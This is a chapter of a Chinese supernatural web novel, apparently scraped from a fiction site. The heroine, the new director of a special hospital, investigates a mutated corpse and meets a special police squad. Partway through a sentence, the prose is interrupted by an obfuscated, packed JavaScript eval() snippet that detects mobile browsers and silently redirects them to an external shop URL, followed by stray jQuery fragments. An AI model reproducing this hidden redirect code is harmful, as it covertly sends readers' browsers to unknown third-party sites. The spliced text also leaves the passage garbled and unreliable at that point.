文趣网 > 其他小说 > 神经病与狗,禁止入内 > 21. 第 21 章
    当外面的小雨渐渐地停歇,房间内的酒香也逐渐散去,司酒身上的血肉再次生长出来。

    她活动了一下自己骨骼,发出一阵“咯吱”“咯吱”脆响,能明显感受到身体和以前不太一样了。

    司酒长舒一口气,睁开眼睛,刚好对上白千叶那双笑意吟吟的双眸。

    “感觉怎么样?是不是很不错?”

    青年的这个行为,让司酒完全确定了一件事,这座医院与她的血肉有着千丝万缕的联系,她甚至产生一个更深层次的猜想:她的血肉是维持医院正常运转的原料。

    但是这也只是她的猜想,在没有证明之前,她不会轻易地说出这个结论。

    不过不得不说,那杯酒喝下去之后,司酒的身体确实发生了一些良性改变,正因如此,让她对眼前的青年疑虑更深一层。

    “你到底是谁?”

    听到她的质问,白千叶眨了眨眼睛,人畜无害地笑道:“我只是流肆医院的一个普通病人啊。”

    司酒看着他,眼中的审视不加掩饰,很显然,她一个字也不信:“但是你全身上下,完全看不出来是一个病人。”

    在这座医院里,其他病人或多或少都会有一些非人的诡异举动,唯独白千叶,自从她来到这里,他的言行举止都跟正常人一模一样,好无异常。

    可正是这种“正常”,才是最大的异常。

    司酒自嘲地想着,自己竟然有时候会忘记,一个能在这种鬼地方停留这么长时间的人,怎么可能是一个普通人?

    “……”她还想再探探底,就听到口袋里的手机发出震动。

    上面弹出来一条短信,是来自京市相关政府部门发来的加密短信。

    “【病人7301】卓越,经流肆医院相关负责人同意,已携带流肆公章出院。体内污染源状态:良性。请相关负责人注意病人身体相关数据。注意:公章产生的灰色磁场效应已出发本土【特殊刑警队】的波频监测,预计12个小时候产生交集。”

    在看见“特殊刑警队”五个字,司酒的眸子微微缩了一下。

    这条短信好巧不巧也被白千叶看见了,他双手交叉,撑着下巴,语气中带着几分幸灾乐祸:“看起来我们的院长小姐给自己找了个大麻烦呢……”

    不等她回答,手机又震了一下,是张飞扬的短信,在京市百香楼的不远处发现了和上次类似的自杀尸体。

    很显然,对方想让她去现场看看。

    司酒关上手机,站起身,没有回答他的话,准备往外面走。

    还没走多远,她好像想到什么,脚步微顿,偏头看向窗边的青年,“你不一起去吗?”

    白千叶脸上的笑容依旧完美的像是一个面具,“还是算了吧。我一个病人不太好离开医院,就不出去给你添麻烦了。”

    闻言,司酒转身就走,没有留下任何一句话。

    从四楼下来的楼梯拐角处,一身黑色的燕尾服,打理的一丝不苟的艾克尔早已候在那里。

    “早安,小姐。”

    “早。”司酒点头,“准备一下,去一趟百香楼。”

    “好的。”艾克尔微微额首,温顺地退下,没有多问一句废话。

    这就是司酒对艾克尔最满意的地方——绝对的服从,从不多嘴。

    回到房间,司酒整个人陷进了床里。

    柔软的被子驱散了她身上的阴冷,舒服地打了两个滚,随后简单地冲了个澡,患上一身干净利落的衣服。

    临出门前,她顺手拿起了门边那把黑色的骨柄大伞。

    医院的门口,艾克尔已经发动了车子。看见她出来,非常绅士地拉开后座的车门。

    黑色的车子破开雾气,朝着百香楼疾驰而去。

    *

    此时乌云散去,太阳终于升了起来。

    这是最近几天难得的好天气。

    只是这样的阳光太过于毒辣了,照在皮肤上火辣辣的疼。

    司酒走进百香楼,目标明确走向偏僻的角落。

    穿着便服的张飞扬正坐在那里,对方正低着头看着什么东西,面前放了一杯红茶。

    司酒在他对面坐下来,修长的食指在桌面上敲了敲,引起他的注意力。

    对方猛然抬起头,看见是她,这才有些脱力地放下手中的资料。

    司酒扫了一眼,是一份几年前的污染源官方介绍报告。

    张飞扬从口袋里拿出一张照片,粗粝的手指轻轻推到她面前。

    少女垂眸,在看见上面的东西时,呼吸猛然一滞。

    照片上是一具死状惨烈的尸体,和上一次那个还维持着人样的尸体完全不同——它已经没有“人”型了。

    它的肋骨两旁畸形地长出了四条萎缩的手臂,原本应该是腿骨的地方空空如也,取而代之的是如蜈蚣般排列整齐的八条怪异的骨节。

    司酒一眼就认出来了,死者是他们这类特殊医院的“病人”。

    但是随之而来的是一个原则性问题。

    少女抬眸,眼神微冷:“张警官,上一次死亡的还算是一个‘正常人’调查对方的死亡,是在情理之中;但是这次死者很明显身体有所异变,并不符合官方对‘正常人’的定义。张警官现在来调查它,是不是有点越俎代庖了?”

    特殊病人的死亡,应该由特殊刑警队进行调查。

    显然,张飞扬并不具有相关的权利。

    男人疲惫地靠在椅背上。

    他从口袋里摸出一根香烟点燃,顾不上坐在他对面的是一个女士,狠狠吸了一口。

    辛辣的烟草味儿弥漫开来,整个人透露着一股几天没合眼的颓败与疯狂。

    “所以我不是找来了你吗?”

    张飞扬的声音异常沙哑,像是两块砂纸在一起摩擦。

    “我?”司酒挑挑眉。

    “我确实没有资格插手。”张飞扬吐出一口青烟,死死地盯着她,“但是你身为特殊医院的院长,有合法的知情权与参与权。”

    “唔……”少女若有所思地摩挲着杯子,随即面露遗憾地笑了笑:“即使我有权利参加,我也没有理由给你提供任何帮助。”

    “你应该没有忘记,你我之间的合作吧?”

    少女歪了歪头,不解地看着他,那次敷衍地结盟,可不值得她去和特殊刑警队打交道。

    张飞扬似乎早已经料到她的反应,从他背后的包中又抽出一张薄薄的,边缘有些泛黄的档案纸,重重地压在桌子上。

    司酒有些狐疑地拿起那张纸。

    然而,在看见上面的第一行字的瞬间,她的瞳孔剧烈震颤。

    “啪”的一声,她死死地把手中的纸倒扣在桌面上,脸上的轻松与伪装出来的笑容刹那间荡然无存。

    看见她这个反应,张飞扬知道自己赌对了。

    他惨然一笑,带着几分赌徒赢得筹码的孤注一掷:“不知道司院长对我的‘投名状’意下如何?”

    她冰冷的目光直直地刺向他,周身气压低的吓人:“你想让我帮你做什么?”

    张飞扬掐灭烟头,目光如炬,一字一顿地说道:“我想让你帮我查出来我哥哥到底在什么地方。”

    *

    离开百香楼后,司酒独自来到了后山。

    此时后山已经被一层白色的透明警戒罩围起来。

    警戒罩内,穿着白色制服的人在里面来来往往,神色紧绷地

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710638|208166||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    忙碌着。

    她认得这种装置——特殊刑警队专用的高频干扰罩,可以屏蔽无线信号,有效阻止任何超自然现象或是小道消息在网络上传播。

    只是这种东西在她面前宛如虚设一般,她甚至没有受到丝毫阻碍,便轻而易举地穿过了屏障。

    “你是谁?怎么进来的?!”里面正在巡逻的一名队员发现了她,脸色大变,下意识地就要拔枪。

    但很快,一道沉稳的脚步声打断了骚动。

    来人看起来三十多岁,身上穿着同样的制服,但胸前挂着的金色工作牌昭示着他的身份——特殊刑警队的队长。

    他打量着司酒,又低头看了看自己手上刚打印出来的资料,主动伸出手,“是流肆的司院长吧。初次见面,我是市特殊刑警队一队队长,霍七。”

    司酒神色自若地伸出手,与他短暂的握了一下,“你好,叫我司酒就好。”

    “好。不知道司小姐这个时候出现在这里,是有什么事情吗?”霍七也不饶关子,直截了当地问道。

    “只是听说这里出现了特殊病人的尸体,身为同行,过来看看。”司酒回答地滴水不漏。

    “职责所在。这里现在是特警队的封锁区,闲人免进。还请司小姐配合。”霍七语气温和,但是带着一股不容置喙的强硬。

    司酒抬头看着他,微微一笑,出奇的配合:“好的。”

    她利落地转身离开,只是在转身的瞬间,她的目光装若无意地掠过眼前男人的身旁,看向他身后不远处被人群重重围住的核心区。

    如果她猜的不错,那里就是第一抛尸现场。

    默默地记下那个地方。

    司酒拢了拢身上的坎肩,顶着毒辣的阳光朝着外围走去。

    霍七站在原地,看着眼前这个女孩听话地离去,眉头微微皱起。

    一种说不出的古怪感浮现在他的脑海中,只能收回目光。

    “队长,那个人到底是谁啊?竟然能无视咱们得干扰罩?”身旁的助理惊魂未定地凑了上来。

    “流肆医院刚继任的的新院长。”霍七将资料收进公文包里,随口答道。

    “流肆有了新院长?”助理有些惊讶,“我记得前一阵子官网上还显示‘空缺’呢。”

    “就在刚刚,新院长完成了第一个恶性病例的闭环治疗。官方网站同步更新了数据。”霍七叹了口气,“比我们预估的要快得多。不愧是那个地方出来的怪物。”

    和其他私有财产继承不同,特殊医院的继承要求极其苛刻。

    继承人必须完成上一任院长留下的“死局任务”才算是正式走马上任。

    在此之前,就算有法律遗嘱,官方也绝不会承认。

    只是霍七不相信巧合。官方网站前脚刚更新,她后脚就出现在了这里。

    这案子,真是越来越棘手了。

    从后山隔离区出来,她一眼就看见蹲在马路牙子上的张飞扬。

    他的脚边已经落了满地的烟头,听到脚步声,然后从地上站起身,拍了拍身上的灰尘,眼里带着一丝希冀:“怎么样,有没有什么新发现?”

    “没有。”司酒笑意不达眼底,“不过那个霍七的队长,看起来对我了如指掌。”

    听到这句话,张飞扬愣了一下,随即有些懊恼地抓了抓头发:“啊,我忘了……因为你的信息已经在官网上公开了吧。”

    “官网?”司酒怔住了。

    她拿出手机,熟练地进入内部网站,果然,在“特殊服务中心”找到了“特殊医院及污染源负责人”的公开一栏里。

    原本空白了许久的“流肆医院”后方,如今赫然标注着两个字:

    【司酒】